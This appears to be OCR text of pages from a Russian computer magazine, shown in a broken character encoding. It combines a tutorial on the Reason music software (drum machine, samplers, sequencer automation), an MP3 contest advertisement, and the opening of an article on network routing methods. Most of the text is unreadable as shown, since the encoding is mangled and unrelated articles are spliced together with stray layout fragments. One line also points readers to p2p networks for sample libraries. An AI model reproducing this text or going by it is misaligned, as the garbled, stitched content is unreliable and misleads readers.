ñîáîé î÷åíü óäîáíóþ ðèòì-ñòàíöèþ ñ ïîääå-
ðæêîé çàãðóçêè ñåìïëîâ è ïîäêëþ÷åíèÿ
âíåøíèõ óñòðîéñòâ. Äà-äà, ñàìîå âðåìÿ ñîç-
äàòü ReDrum è çàãðóçèòü â íåãî íåñêîëüêî
äðàì-ñåìïëîâ èç ðåôèëëà, âðîäå robots and
computers. Íî ýòîãî, êàê âñåãäà, ìàëî. ×òîáû
áî÷êà õîðîøî çâó÷àëà â ìèêñå, ïîíàäîáÿòñÿ
âñå òâîè ïñèõè÷åñêèå ðåñóðñû. Êñòàòè, åå

ìîæíî ïîëó÷èòü è íà ñàáòðàêòîðå, âûòÿíóâ ðåçîíàíñ íà ñàìûé ìàêñè-
ìóì, è ñìåñòèâ ÷àñòîòó ñðåçà â îáëàñòü 55�75 Ãö. Âûõîä ñàáòðàêòî-
ðà ïîäêëþ÷àåòñÿ ê ìèêøåðó èëè spider audio, ÷òîáû èìåòü îáùèå ýô-
ôåêòû ñ îñòàëüíîé ïàðòèåé óäàðíûõ, åñëè ýòî íåîáõîäèìî, à îò
redrum'a ê ñàáòðàêòîðó ïðîòÿãèâàåòñÿ ïðîâîä, ñîåäèíÿþùèé ãåéò-àóò
è ãåéò-èí. Ïðèìåð òàêîãî ñîåäèíåíèÿ ñìîòðè íà ðèñóíêå. Êñòàòè, ìîæ-
íî èñïîëüçîâàòü è ìàòðèöó, à ïðè ïîìîùè ñàáòðàêòîðà ñèíòåçèðîâàòü
íå òîëüêî áî÷êó, íî è ðàáî÷èé áàðàáàí, òîì, òàðåëî÷êè è äðóãèå âèäû
ïåðêóññèè. À ìîæíî ïðîñòî ãðóçèòü ñåìïëû. ReDrum èìååò 10 ÿ÷ååê
äëÿ èõ çàãðóçêè èëè ïðèñîåäèíåíèÿ ñèíòåçàòîðîâ, îäíàêî òåáå ñëåäó-
åò ïîìíèòü î òîì, ÷òî ïîñëåäíèé ñïîñîá ñèëüíî ñêàçûâàåòñÿ íà ïðî-
èçâîäèòåëüíîñòè ñèñòåìû. Äëÿ êàæäîé èç ÿ÷ååê ñóùåñòâóåò âîçìîæ-
íîñòü óñòàíîâêè òàêèõ ïàðàìåòðîâ òðàíñôîðìàöèè ñèãíàëà, êàê: ãëó-
áèíà ýôôåêòîâ ìèêøåðà 1 è 2, ïàíîðàìà, óðîâåíü, äëèòåëüíîñòü, ìå-
òîä ñðåçà, âûñîòà è òîí. Áëàãîäàðÿ ýòèì ïàðàìåòðàì òû ìîæåøü îñó-
ùåñòâëÿòü òîíêóþ íàñòðîéêó ñåìïëà â êàæäîé ÿ÷åéêå. Íèæå ðàñïîëî-
æåí âñòðîåííûé ñåêâåíñîð. Îí èìååò ìàêñèìàëüíóþ äëèíó â ÷åòûðå
òàêòà, òî åñòü 4 ðàçà ïî 16 ïîçèöèé, íà êàæäîé èç êîòîðûõ ìîæíî ðàñ-
ïîëàãàòü äî äåñÿòè èíñòðóìåíòîâ. ß ðàññêàçûâàþ, êàê ðóáèòü òðàíñ,
óòâåðæäàþ, ÷òî áî÷êà óäàðÿåò ïî ñèëüíûì äîëÿì � 4 ðàçà çà òàêò.
Îñòàëüíîå ðàññòàâü, êàê òåáå íðàâèòñÿ. Ïàòòåðíû, êàê è â ìàòðèöå,
ñîõðàíÿòü â áàíêè. ×òîáû äðàì-ïàðòèÿ ñòàëà ïîæèðíåå è äàâàëà
äðàéâ, ñîæìè, êàê ñëåäóåò, åå äèíàìè÷åñêèé äèàïàçîí êîìïðåññîðîì,
âñòðîåííûì â SCREAM4 è ïîäïðàâü À×Õ ïðè ïîìîùè ýêâàëàéçåðà.
Õî÷åøü åùå � õîðîøî, ïðîáóé èñïîëüçîâàòü íåñêîëüêî áî÷åê âìåñòî
îäíîé, íàïðèìåð 2. Íå áîéñÿ ýêñïåðèìåíòèðîâàòü, âåäü â ýòîì êëþ÷ ê
òâîåìó óñïåõó!

[íó âîò!] Òåïåðü ó òåáÿ åñòü äîñòàòî÷íî çíàíèé, íåîáõîäèìûõ äëÿ ñîçäà-
íèÿ ïîëíîöåííîãî òðåêà. Äà, ÷óòü íå çàáûë! ß ãîòîâ áûë ëèøèòü òåáÿ ñàìî-
ãî ãëàâíîãî, âåäü â ñåêâåíñîðå Ðèçîíà, î êîòîðîì ÿ êàê ðàç ñîáèðàëñÿ ïè-
ñàòü, íåò àóäèîäîðîæåê. Ýòî ìèíóñ. Íó äà ëàäíî, ó íàñ âåäü åñòü åùå îäèí
ìèíóñ :). Âñåãî äâà, à ìèíóñ íà ìèíóñ, êàê èçâåñòíî, âñå æå äàþò îáåùàí-
íûé ìàòåìàòè÷åñêèé ïëþñ. È ýòî NN-XT advanced sampler. Âîò òàêàÿ âîò
æåëåçÿêà (ñìîòðè ðèñóíîê). Êñòàòè, åñëè åå ðàçâåðíóòü, òî òàì áóäåò ËÑÄ-
äèñïëåé íå ìåíüøå, ÷åì ó òåëåâèçîðà. Ïîñìîòðèøü äîìà. À íà ñàìîì äåëå
ñþäà ìîæíî ãðóçèòü ñåìïëû, à ïîòîì èãðàòü íà íèõ, êàê íà ôîðòåïèàíî. Ñó-
ùåñòâóåò âîçìîæíîñòü
çàãðóçêè/ñîçäàíèÿ ïàò-
÷åé, òî åñòü äëÿ êàæ-
äîé íîòû ìîæíî èñïîëü-
çîâàòü ñâîé ñîáñòâåííûé
ñåìïë. Ñêîëüêî êëàâèø
ó ôîðòåïèàíî � ñòîëü-
êî ñåìïëîâ òû ìîæåøü
ñþäà âïèõíóòü, ÷òîáû
ñîçäàòü õîðîøèé ïàò÷.
Åñëè ëåíü òàê ñèëüíî
çàìîðà÷è âàòüñÿ, íîòû

ìàòðèöà. Óïðàâëÿþùåå óñòðîéñòâî

| ÎÎ ÑÑÅÊÂÅÍÑÎÐÀÕ ÈÈ MMIDI ||
Ñîçäàâàòü ìåëîäèè è àâòîìàòèçàöèþ
ìîæíî íåïîñðåäñòâåííî â ñåêâåíñîðå,
ïåðåêëþ÷èâøèñü èç ðåæèìà àðàíæè-
ðîâêè â ðåæèì ðåäàêòèðîâàíèÿ è âûá-
ðàâ èíòåðåñóþùèé òåáÿ èíñòðóìåíò
èç ñïèñêà ñëåâà. À åñëè ïîäêëþ÷èòü ê
Ðèçîíó ìèäè-êëàâèàòóðó (MIDI � öèô-
ðîâîé èíòåðôåéñ ìóçûêàëüíûõ
èíñòðóìåíòîâ), åãî âîçìîæíîñòè ðàñ-
øèðÿòñÿ ïðèìåðíî âäâîå! Êñòàòè, íà
áîëüøèíñòâå ñîâðåìåííûõ ìèäè-êëàâ
ïðèñóòñòâóåò ñåðèÿ ðó÷åê-êîíòðîëëå-
ðîâ, êîòîðûå ìîæíî ñîïîñòàâëÿòü êà-
êèì-ëèáî ðåãóëÿòîðàì âèðòóàëüíûõ
óñòðîéñòâ. Òàêèì îáðàçîì, òû ìî-
æåøü êðóòèòü ðó÷êè è óïðàâëÿòü àâòî-
ìàòèçàöèåé, íàèãðûâàòü, çàïèñûâàòü
è ðåäàêòèðîâàòü ïàðòèè, à ôóíêöèÿ
quantize ïîìîæåò òåáå âûðàâíèâàòü
íîòû ïî äîëÿì.

ìèêøåð

| ÏÏËÀÑÒÌÀÑÑÀ ÈÈ ÅÅÑÒÜ ÏÏËÀÑÒÌÀÑÑÀ ||
Ïðè âñåé êðàñîòå ôîðìû, áåçóìíîé ïîïóëÿðíîñòè, óäîáñòâå è äðóæåëþáíîñòè èíòåð-
ôåéñà, ñîäåðæàíèå îñòàâëÿåò æåëàòü ëó÷øåãî. È ýòî ïðîäîëæàåòñÿ óæå 5 ëåò :). Íå
õî÷ó òåáÿ ðàññòðàèâàòü, íî ïðèäåòñÿ. Ðèçîí äåëàåò ïëîñêèé çâóê, ïðàâäà åãî ïîïó-
ëÿðíîñòè ýòî ìåøàåò íå îñîáî. Ìîæåøü ïðîâåñòè íåáîëüøîé ýêñïåðèìåíò. Çàãðóçè â
ReDrum ÷èñòûé ñèíóñ. Âîñïðîèçâåäè åãî, è çàïèøè ïðè ïîìîùè ïðîãðàììû, ïîääåð-
æèâàþùåé àíàëèçàòîð ñïåêòðà, íàïðèìåð, Cool Edit èëè Adobe Audition. Ïîñìîòðè íà
ñïåêòðîãðàììó, êîòîðàÿ, âîîáùå ãîâîðÿ, äîëæíà âûãëÿäåòü âåðòèêàëüíîé ëèíèåé, è
ñàì ñäåëàé íåîáõîäèìûå âûâîäû. [X
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ìîæíî ãðóïïèðîâàòü è
èñïîëüçîâàòü åäèí-
ñòâåííûé ñåìïë òå-
ïåðü óæå äëÿ ãðóïïû
êëàâèø. Äëÿ êàæäîé
òàêîé êëàâèøè ïðåäóñ-
ìîòðåíà ìàññà ðàçíî-
îáðàçíûõ íàñòðîåê,
íà ëþáîé ñåìïë ìîæ-
íî íàêëàäûâàòü ìíî-
æåñòâî ýôôåêòîâ, òè-
ïà LFO, modulation,
envelopes, velocity, pitch,
filter, ñîáñòâåííûå íàñò-
ðîéêè ñåìïëîâ òàêèå, êàê: îòñòóï
îò íà÷àëà è êîíöà, â òîì ÷èñëå ïðè
îáðàçîâàíèè ïåòëè, root key, ïîäñòðîé-
êà âûñîòû òîíà è äðóãèå. Sampler �
íåñîìíåííî, íóæíàÿ øòóêîâèíà,
êñòàòè, òàêèõ â íàøåé ñòîéêå öåëûõ
äâå, ïðè÷åì ðàçíûõ. Åñòü åùå îäíà,
áîëåå ðàííÿÿ ìîäèôèêàöèÿ ñàìï-
ëåðà, ïîä íàçâàíèåì NN-19, ñèëüíî
íàïîìèíàþùàÿ àïïàðàòíóþ ðåàëè-
çàöèþ óñòðîéñòâ AKAI, êîòîðóþ
ìîå äðàãîöåííîå âíèìàíèå îáõî-
äèò ïî÷åìó-òî ñòîðîíîé. Ýòî áûë
òðåòèé ìèíóñ, íó à ïîñëåäíèé, ÷åò-
âåðòûé � ýòî Dr. Rex. Ýòîò ïðåäñ-
òàâëÿåò ñîáîé íè ÷òî èíîå, êàê ïðî-
èãðûâàòåëü ïåòåëü � çàöèêëåííûõ
ôàéëîâ â ôîðìàòå REX 2. Òàêèå
ìîæíî âçÿòü ëèáî â ðåôèëëàõ, ëè-
áî ïîëó÷èòü ïðè ïîìîùè ñïåöèàëü-
íîé ïðîãðàììû ïîä íàçâàíèåì
ReCycle!, êîòîðàÿ ðåæåò îáû÷íûå
wave-ôàéëû íà êóñêè (slices). À äå-

ëàåò îíà ýòî äëÿ òîãî, ÷òîáû ìîæíî áûëî ìåíÿòü ñêîðîñòü êîìïîçèöèè,
ïðè ýòîì îñòàâëÿÿ íåòðîíóòûì çíà÷åíèå ïàðà-
ìåòðà pitch. Ãðóáî ãîâîðÿ, ïðè íåçíà÷èòåëüíîì
åå èçìåíåíèè, íàðåçàííûé, ê ïðèìåðó, ðèòì
ïðîäîëæàåò çâó÷àòü ïðàêòè÷åñêè òàê æå, êàê
çâó÷èò çàïèñàííûé êîãäà-òî íà ìèêðîôîí. Íî
ýòî òîëüêî ïðàêòè÷åñêè. Ïðîñòî Ðèçîíó íå çíà-
êîìà ïðèäóìàííàÿ óæå äàâíûì-äàâíî îäíà
ôè÷à ïîä íàçâàíèåì time stretch, êîòîðàÿ èç-
ìåíÿåò ïðîäîëæèòåëüíîñòü çâó÷àíèÿ ôðàãìåí-
òà ïðè pitch=const. Ê ñ÷àñòüþ, òåïåðü òû ñ íåé
çíàêîì è ïîíèìàåøü, ÷òî ÷åòâåðòûé ìèíóñ ïî-
äîøåë ê êîíöó, à ïëþñîâ ñòàëî óæå äâà.

[íàñòàëî âðåìÿ ïîãîâîðèòü î ñåêâåíñîðå]
Íåò, íå î ìàòðèöå, à î ñåêâåíñîðå â
øèðîêîì ñìûñëå ñëîâà. Èìåííî â
íåì ïðîòåêàåò ïðîöåññ ñîçäàíèÿ çà-
êîí÷åííîãî òðåêà îò íà÷àëà è äî
êîíöà. Àíàëîãè÷íûå âåùè ìîæíî
âñòðåòèòü â ëþáîé ïðîãðàììå äëÿ
ñâåäåíèÿ çâóêà, áóäü òî Reason èëè
Cubase. Çäåñü ôîðìèðóåòñÿ ïîñëå-
äîâàòåëüíîñòü êîìàíä, êîòîðàÿ,
âîñïðîèçâîäÿñü, óêàçûâàåò ñèíòå-
çàòîðàì è äðóãèì äåâàéñàì, ÷òî çà
íîòó ñûãðàòü èëè êàêóþ êðóòèëêó ïî-
âåðíóòü â äàííûé ìîìåíò. Ïîñëåä-
íåå çàìå÷àíèå è åñòü, ñîáñòâåííî,
àâòîìàòèçàöèÿ â Ðèçîí. Ýòî çíà÷èò,
÷òî åñëè íàæàòü êíîïêó çàïèñè, òî

ìîæíî çàïèñûâàòü âñå èçìåíåíèÿ ñîñòîÿíèÿ ïðèáîðîâ â ðåàëüíîì âðåìå-
íè. Äëÿ ýòîãî íåîáõîäèìî âûñòàâèòü çíà÷îê «Åâðîïà» íàïðîòèâ òîãî óñò-
ðîéñòâà, àâòîìàòèçàöèÿ êîòîðîãî áóäåò îñóùåñòâëÿòüñÿ â áëèæàéøåå âðå-
ìÿ. Äàëåå íàæèìàåòñÿ êëàâèøà Play. Òåïåðü ìîæíî êðóòèòü ðó÷êè, íàæè-
ìàòü, ïåðåêëþ÷àòü, èçìåíÿòü ïàðàìåòðû âûáðàííîãî òîáîé óñòðîéñòâà. Àâ-
òîìàòèçàöèþ ïîääåðæèâàþò áîëüøèíñòâî ðó÷åê è ïåðåêëþ÷àòåëåé, íî âñå
æå íå âñå. Êñòàòè, ìàòðèöåé è ñìåíîé ïàòòåðíîâ òîæå ìîæíî óïðàâëÿòü.
Äåëàé êàê òåáå óäîáíî, à, âîîáùå, åñòü äâà ïóòè. 
Âòîðîé çàêëþ÷àåòñÿ â òîì, ÷òî òû ïðîñòî êîïèðóåøü ñîäåðæàíèå ïàò-
òåðíà ìàòðèöû èëè äðàì-ìàøèíû â ïèàíî-ðîëë. Äëÿ ýòîãî íåîáõîäè-
ìî âûäåëèòü èç ñïèñêà âíèçó óñòðîéñòâî, êîòîðîå áóäåò âîñïðîèçâî-
äèòü çâóê, è, íàæàâ íà ìàòðèöó ïðàâîé êíîïêîé ìûøè, âûáðàòü ïóíêò
copy pattern to track. Ïðè ýòîì ñîäåðæàíèå ïàòòåðíà ñêîïèðóåòñÿ íà
æåëàåìóþ äîðîæêó â ïðåäåëàõ, ïðåäâàðèòåëüíî óñòàíîâëåííûõ òîáîé
óêàçàòåëÿìè L è R. Óêàçàòåëü «Å» ñèìâîëèçèðóåò êîíåö òðåêà. Îí íó-
æåí äëÿ òîãî, ÷òîáû ïðîãðàììà çíàëà äëèíó wave-ôàéëà, ãåíåðèðóå-
ìîãî ïðè ôèíàëüíîì ðåíäåðèíãå.

[it is over] Òàêîé âîò ïîëó÷èëñÿ ðàññêàç, ïëîõîé èëè õîðîøèé � íåâàæíî,
òåïåðü îí ïðîñòî åñòü. À ÿ âñå æå íàäåþñü, ÷òî áûëî èíòåðåñíî, è â ïðîöåñ-
ñå ÷òåíèÿ òû ïîëó÷èë õîòü ñêîëüêî-íèáóäü óäîâîëüñòâèÿ. Ðèçîí îñòàåòñÿ
ðèçîíîì, æåëàþ åìó óñïåøíûõ ïðîäàæ è óëó÷øåíèÿ àëãîðèòìîâ, à òåáå,
äîðîãîé ÷èòàòåëü, �  íåðåàëüíîãî äðàéâà áåç íàðêîòèêîâ, ãàðìîíèè è ñ÷àñòüÿ.
Ïèøè ìóçûêó, æóé æâà÷êó, ïîêà 

äîðîæêè, ñåêâåíñîð

| ÈÈÇ ÌÌÎÍÎ ÂÂ ÑÑÒÅÐÅÎ ||
Sub Tractor, â îòëè÷èå îò Malstrom'a, ñèíòåçèðóåò ìîíî çâóê, ïîýòîìó åñëè åñòü æåëàíèå ïîëó÷èòü ñòåðåîçâóê, íåîáõîäèìî ðàçâåò-
âèòü åãî ïðè ïîìîùè óñòðîéñòâà spider audio, ëèáî èñïîëüçîâàòü òàêèå ýôôåêòû, êîòîðûå ïðè ìîíîñèãíàëå íà âõîäå èìåþò ñòå-
ðåîñèãíàë íà âûõîäå, íàïðèìåð, unison èëè reverb. Ïðèìåðû ïîäêëþ÷åíèÿ òàêèõ óñòðîéñòâ ïîêàçàíû íà ðèñóíêàõ «tranceôîðìè-
ðóé» è «OK, rroll tha drums».

ñóáòðàêòèâíûé ñèíòåç îñóùåñòâëÿåòñÿ çäåñü

sampler 2

Âíèìàíèå! Íå ñòîèò ïîëü-
çîâàòüñÿ ïðîòîêîëîì
ReWire íà ìåäëåííûõ ìà-
øèíàõ. Ðèçîí îñóùåñ-
òâëÿåò ñèíòåç è ïðåîáðà-
çîâàíèå ñèãíàëîâ â ðåàëü-
íîì âðåìåíè, à íà ýòî
óõîäèò íåìàëî ñèñòåìíûõ
ðåñóðñîâ. 2 òàêèõ óñòðîé-
ñòâà ìîãóò ïîòðåáëÿòü
âäâîå áîëüøå. 
Ïîìíè îá ýòîì.

Åñëè òû âñåðüåç ðåøèë çà-
íÿòüñÿ ìóçûêîé, òî òåáå
ìîãóò ïîíàäîáèòüñÿ ðàç-
ëè÷íûå ñýìïëû è ïàò÷è.
Áèáëèîòåêè ReFill, ñîçäàâà-
åìûå ñïåöèàëüíî äëÿ
Reason, òû ìîæåøü íàéòè
â ïîïóëÿðíûõ p2p-ñåòÿõ
èëè çàêàçàòü ñåáå äèñêè.

www.propellerhead.se �
îôèöèàëüíûé ñàéò
Propellerhead Software.
www.reasonmusic.ru �
ðåñóðñ ðóíåòà, ïîñâÿùåí-
íûé Reason.
www.emule-project.net �
ïîïóëÿðíûé 2p2-êëèåíò
äëÿ ñåòè ED2K.
www.ya.ru � à çäåñü íàé-
äåòñÿ âñå îñòàëüíîå.
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http://mp3.samsung.ru/

**MMPP33 MASSIVE ATTACK

Äåðæèøü âñþ ìóçûêó â mp3?
Õî÷åøü, ÷òîáû îíà âñåãäà áûëà ñ òîáîé?

ÏÐÈÌÈ Ó×ÀÑÒÈÅ Â MP3-ÊÎÍÊÓÐÑÅ ÎÒ SAMSUNG È ÆÓÐÍÀËÀ ÕÀÊÅÐ ÒÅÁÅ ÍÅÎÁÕÎÄÈÌÎ ÎÒÂÅÒÈÒÜ ÍÀ 5

ÂÎÏÐÎÑÎÂ, ÊÀÑÀÞÙÈÅÑß MP3-ÔÎÐÌÀÒÀ ÇÀ ÊÀÆÄÛÉ ÏÐÀÂÈËÜÍÛÉ ÎÒÂÅÒ ÒÛ ÏÎËÓ×ÈØÜ ×ÀÑÒÜ

ÊÎÄÎÂÎÉ ÔÐÀÇÛ ÑÎÁÅÐÈ ÂÑÞ ÊÎÄÎÂÓÞ ÔÐÀÇÓ ÖÅËÈÊÎÌ, ÒÎÃÄÀ ÒÛ ÏÎËÓ×ÈØÜ ÁÅÑÏËÀÒÍÛÅ

ÌÅÃÀÁÀÉÒÛ ÄËß ÑÊÀ×ÈÂÀÍÈß MP3-ÌÓÇÛÊÈ, À ÒÀÊÆÅ ÏÐÈÌÅØÜ Ó×ÀÑÒÈÅ Â ÐÎÇÛÃÐÛØÅ 10 MP3-ÏËÅÅÐÎÂ YP-T8
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[ãðàìîòíàÿ êëàññèôèêàöèÿ ìåòîäîâ] Ïðåæ-
äå ÷åì óãëóáëÿòüñÿ â òåîðèþ ìàðøðóòèçàöèè â
ãëîáàëüíûõ ñåòÿõ (à èìåííî ïî òàêèì ñåòÿì áóäåò
ïðîõîäèòü ïàêåò èç Ðîññèè â Øòàòû), ðàññìîòðèì
ïðîñòóþ êëàññèôèêàöèþ ìåòîäîâ ìàðøðóòèçà-
öèè. Ñïîñîáû äîñòàâêè ïàêåòà â ïðàâèëüíîì íàï-
ðàâëåíèè ïðèíÿòî äåëèòü íà òðè áîëüøèõ êëàññà.

1 Ïðîñòàÿ ìàðøðóòèçàöèÿ
2 Ôèêñèðîâàííàÿ ìàðøðóòèçàöèÿ
3 Àäàïòèâíàÿ ìàðøðóòèçàöèÿ

Ïîãîâîðèì î êàæäîì êëàññå íåìíîãî ïîäðîáíåå.
Ïðîñòàÿ ìàðøðóòèçàöèÿ ðàáîòàåò ïî ïðèíöèïó óñò-
ðîéñòâ êàíàëüíîãî óðîâíÿ (ïîâòîðèòåëè, êîììóòàòî-
ðû, ìîñòû) è â íàøå âðåìÿ èñïîëüçóåòñÿ î÷åíü ðåä-
êî. Òåì íå ìåíåå, î íåé íåîáõîäèìî çíàòü. Èìååòñÿ
òðè âèäà ïðîñòîé ìàðøðóòèçàöèè. Ïåðâûé ïîëó÷èë
íàçâàíèå «ñëó÷àéíàÿ ìàðøðóòèçàöèÿ». Ïðè ýòîì
êàæäûé ìàðøðóòèçàòîð, ïîëó÷èâ ïàêåò, îòïðàâëÿåò
åãî íà ñëó÷àéíûé èíòåðôåéñ (ìîæåò, è äîéäåò êóäà
íàäî :)). Ñàì ïîíèìàåøü, ÷òî òàêîé ïîäõîä íå ãàðàí-
òèðóåò áûñòðîé è êà÷åñòâåííîé äîñòàâêè ïàêåòà àä-
ðåñàòó. À â ðÿäå ñëó÷àåâ ïàêåò âîîáùå óíè÷òîæàåòñÿ
ïðè ïðåâûøåíèè TTL. Âòîðîé âèä íàçûâàåòñÿ «ëà-
âèííàÿ ìàðøðóòèçàöèÿ». Â ýòîì ñëó÷àå ðîóòåð øëåò
ïàêåò ïî âñåì àêòèâíûì èíòåðôåéñàì. Ìèíóñ ýòîãî
ïðèåìà � çàñîðåíèå ñåòè èçáûòî÷íîé ñëóæåáíîé èí-
ôîðìàöèåé. È íàêîíåö, òðåòèé âèä � íàçûâàåòñÿ
«ìàðøðóòèçàöèÿ ïî îïûòó». Ïðèìåíÿÿ ýòîò ïðèåì,
øëþç èçíà÷àëüíî íàêàïëèâàåò ñâåäå-
íèÿ î ìàðøðóòàõ, ïåðåñûëàÿ äàííûå,
êàê ïðàâèëî, ëàâèííûì ñïîñîáîì. Çà-
òåì, ñîñòàâëÿÿ íåêîòîðóþ òàáëèöó, îí
ó÷èòñÿ íàïðàâëÿòü ïàêåòû êóäà íàäî.
Ýòî î÷åíü íàïîìèíàåò ðàáîòó ìîñòà,
êîãäà èìåþò ìåñòî ðåæèìû îáó÷åíèÿ è
ðàáîòû.
Êàê ÿ óæå ñêàçàë, ïðîñòàÿ ìàðøðó-

026
ÏÐÅÄÑÒÀÂÜ, ×ÒÎ ÒÅÁÅ ÍÓÆÍÎ ÑÎÅÄÈÍÈÒÜÑß
Ñ ÊÀËÈÔÎÐÍÈÉÑÊÈÌ ÑÅÐÂÅÐÎÌ ÏÎ FTP-ÏÐÎ-
ÒÎÊÎËÓ. ÒÛ ÏÐÈÊÀÇÛÂÀÅØÜ ÊËÈÅÍÒÓ ÏÐÎÈÇ-
ÂÅÑÒÈ ÊÎÍÍÅÊÒ, ÍÎ ÄÀÆÅ ÍÅ ÇÀÄÓÌÛÂÀÅØÜ-
Ñß, ÏÎ ÊÀÊÈÌ ÏÓÒßÌ ÏÐÎÕÎÄßÒ ÒÂÎÈ ÏÀÊÅ-
ÒÛ. À ÌÀÐØÐÓÒÛ Ó ÍÈÕ, ÍÀÄÎ ÑÊÀÇÀÒÜ, ÑÀ-
ÌÛÅ ÇÀÃÀÄÎ×ÍÛÅ È ÒÅÐÍÈÑÒÛÅ. ÍÎ ÍÅÑÌÎÒ-
Ðß ÍÀ ÑËÎÆÍÎÑÒÈ ÏÎÈÑÊÀ ÍÓÆÍÛÕ ÌÀÐØ-
ÐÓÒÎÂ, ÏÀÊÅÒ ÂÑÅÃÄÀ ÄÎÉÄÅÒ ÏÎ ÁÛÑÒÐÎÌÓ
È ÊÀ×ÅÑÒÂÅÍÍÎÌÓ ÊÀÍÀËÓ. ÝÒÎ ÏÐÎÈÇÎÉÄÅÒ
ÁËÀÃÎÄÀÐß ÇÀÑËÓÃÀÌ ÌÀÐØÐÓÒÍÛÕ ÏÐÎÒÎ-
ÊÎËÎÂ, Î ÊÎÒÎÐÛÕ ÌÛ ÑÅÉ×ÀÑ È ÏÎÃÎÂÎ-
ÐÈÌ. | Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Þ
Í

È
Ò

Û
Ê

Ð
Å

À
Ò

È
Ô

Ô
Ê

Î
Ä

È
Í

Ã
U

N
IX

O
ID

Ñ
Ö

Å
Í

À
Â

Ç
Ë

Î
Ì

È
Ì

Ï
Ë

À
Í

Ò
P

C
_Z

O
N

E
Í

Ü
Þ

Ñ
Û

Ìàðøðóòíûå
çàìîðî÷êè

F
E

R
R

U
M

Ìàðøðóòèçàöèÿ 
â ãëîáàëüíûõ ñåòÿõ

òèçàöèÿ ïðîñòî íåïðèåìëåìà â áîëüøèõ ñåòÿõ, îñîáåííî, åñëè óçëû ñâÿçà-
íû ðåçåðâíûìè ñâÿçÿìè. Âòîðîé âèä ìàðøðóòèçàöèè, ïîëó÷èâøèé íàçâàíèå
«ôèêñèðîâàííàÿ», ïðåäïîëàãàåò íàëè÷èå òàê íàçûâàåìîé òàáëèöû ìàðøðó-
òèçàöèè, êîòîðàÿ ñóùåñòâóåò â ëþáîé ñîâðåìåííîé îïåðàöèîííîé ñèñòåìå.
Êàæäàÿ òàáëèöà äîëæíà èìåòü, êàê ìèíèìóì, ïÿòü ñòîëáöîâ. Âîò îíè:

1Àäðåñ ñåòè � ñåòü èëè îòäåëüíûé IP-àäðåñ, êóäà äîëæåí áûòü äîñòàâëåí ïàêåò.
2 Ìàñêà ñåòè � ÷òîáû îäíîçíà÷íî èäåíòèôèöèðîâàòü ïîäñåòü äîëæíà
áûòü èñïîëüçîâàíà ìàñêà.
3 Øëþç � íà ýòîò àäðåñ áóäåò ïåðåäàí ïàêåò â ñëó÷àå ñîâïàäåíèÿ àäðå-
ñà íàçíà÷åíèÿ è àäðåñà ñåòè.
4 Èíòåðôåéñ (èëè íîìåð ïîðòà) � èíèöèàëèçèðóåò èíòåðôåéñ, ïî êîòîðî-
ìó áóäåò ïðîõîäèòü ïàêåò.
5 Ìåòðèêà � îïðåäåëåííîå ÷èñëî, õàðàêòåðèçóþùåå êàíàë ñâÿçè.

Ñìûñë ôèêñèðîâàííîé ìàðøðóòèçàöèè â òîì, ÷òî âñÿ ðàáîòà ïî ïðîïèñûâàíèþ
ïóòåé âîçëàãàåòñÿ íà àäìèíèñòðàòîðà ñåòè. Ðàçóìååòñÿ, ÷òî â ñëó÷àå ïðîñòåíüêîé
ëîêàëüíîé ñåòè ïðîïèñàòü âñå ìàðøðóòû ìîæíî çà ïÿòü ìèíóò. Íî êîãäà ðå÷ü èäåò
î ãëîáàëüíîé ñåòè ñ ðàçíûìè êàíàëàìè, òî çäåñü ñëåäóåò î÷åíü ñèëüíî ïîäóìàòü.
Ê ïðèìåðó, åñëè â ñåòè èìåþòñÿ ðåçåðâíûå ëèíèè, òî î÷åíü ñëîæíî ïåðåêëþ÷èòü-
ñÿ íà íåå â ñëó÷àå àâàðèè íà îñíîâíîì êàíàëå. Âïðî÷åì, äàííûé ìåòîä çàðåêî-
ìåíäîâàë ñåáÿ â íåáîëüøèõ ëîêàëüíûõ ñåòÿõ è íà ìàãèñòðàëüíûõ ëèíèÿõ.
Åùå îäíà ìàëåíüêàÿ îñîáåííîñòü ôèêñèðîâàííîé ìàðøðóòèçàöèè: â ñëó-
÷àå, êîãäà íóæíî äîñòàâëÿòü âñå èëè áîëüøèíñòâî ïàêåòîâ íà îäèí óçåë,
èñïîëüçóåòñÿ ïîíÿòèå «øëþç ïî óìîë÷àíèþ». Àäðåñ ñåòè è ìàñêà â ýòîì
ñëó÷àå áóäóò èìåòü âèä 0.0.0.0. Êîãäà ñîâïàäåíèå àäðåñà íàçíà÷åíèÿ ñ àä-
ðåñîì ñåòè íå ïðîèñõîäèò, äàííûå óõîäÿò íà äåôîëòîâûé øëþç.
Òðåòèé âèä ìàðøðóòèçàöèè, ïîëó÷èâøèé íàçâàíèå «àäàïòèâíàÿ»,� ñàìûé
èíòåðåñíûé. Òîëüêî îí ïðèìåíÿåòñÿ â áîëüøèõ ñåòÿõ ñ ðàçíûìè êàíàëàìè è
èçáûòî÷íûìè ëèíèÿìè. Ñìûñë àäàïòàöèè â òîì, ÷òîáû áûñòðî ïîìåíÿòü
ìàðøðóò â ñëó÷àå âûõîäà èç ñòðîÿ îòäåëüíîé ëèíèè, ëèáî äîáàâëåíèÿ íîâî-
ãî øëþçà. Â äàííûé ìîìåíò èñïîëüçóåòñÿ äâà âèäà ïðîòîêîëà ìàðøðóòèçà-
öèè: RIP è OSPF. Ìû îáÿçàòåëüíî ïîãîâîðèì î ðàáîòå êàæäîãî èç íèõ, íî
ñíà÷àëà ðàññìîòðèì îáùèé ïðèíöèï ïåðåäà÷è äàííûõ â ãëîáàëüíûõ ñåòÿõ.

[ïðèíöèï ðàáîòû ãëîáàëüíûõ ñåòåé] Êàê òû çíàåøü, ñóùåñòâóþò òàê íà-
çûâàåìûå «îïåðàòîðû ñâÿçè», êîòîðûå ñîäåðæàò ñîáñòâåííûå êàíàëû è àðåíäó-
þò ïðîâàéäåðàì äîñòóï ê íèì. Ñîáñòâåííîñòü êàæäîãî îïåðàòîðà, âêëþ÷àÿ âñå
ëîêàëüíûå ñåòè ïðîâàéäåðîâ, ïîäêëþ÷åííûå ê íåìó, ïðèíÿòî íàçûâàòü «àâòîíîì-
íîé ñèñòåìîé». Àâòîíîìíàÿ ñèñòåìà � ýòî ðÿä ñâÿçàííûõ ìåæäó ñîáîé ìàøèí ñ
åäèíîé âíóòðåííåé ïîëèòèêîé ìàðøðóòèçàöèè (IGP� Internal Gateway Protocol).
Ñàìè àâòîíîìíûå ñèñòåìû ïîñðåäñòâîì ìîùíûõ êàíàëîâ ñîåäèíÿþòñÿ ìåæäó
